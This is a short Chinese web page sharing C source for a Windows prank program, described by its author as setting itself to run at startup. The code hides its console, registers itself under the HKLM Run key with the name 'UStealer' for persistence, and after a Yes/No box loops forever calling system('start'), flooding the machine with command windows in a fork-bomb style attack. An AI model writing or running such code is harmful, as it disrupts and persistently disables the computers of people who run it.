赞
踩
设置了开机自启动,不过电脑应该扛得住,(作者已尝试)
#include<windows.h>
#include<conio.h>
#include<stdio.h>
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
void HKRunator(char *programName)
{
HKEY hkey=NULL;
DWORD rc;
rc=RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS,
NULL,
&hkey,
NULL);
if (rc==ERROR_SUCCESS)
{
rc=RegSetValueEx(hkey,
"UStealer",
0,
REG_SZ,
(const BYTE *)programName,
strlen(programName));
if (rc==ERROR_SUCCESS)
{
RegCloseKey(hkey);
}
}
return;
}
int main(int argc,char **argv)
{
HKRunator(*argv);
if(MessageBox(NULL,"OK","Box",MB_YESNO)==IDNO)
{
return 0;
}
while(true)
{
system("start");
}
return 0;
}
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。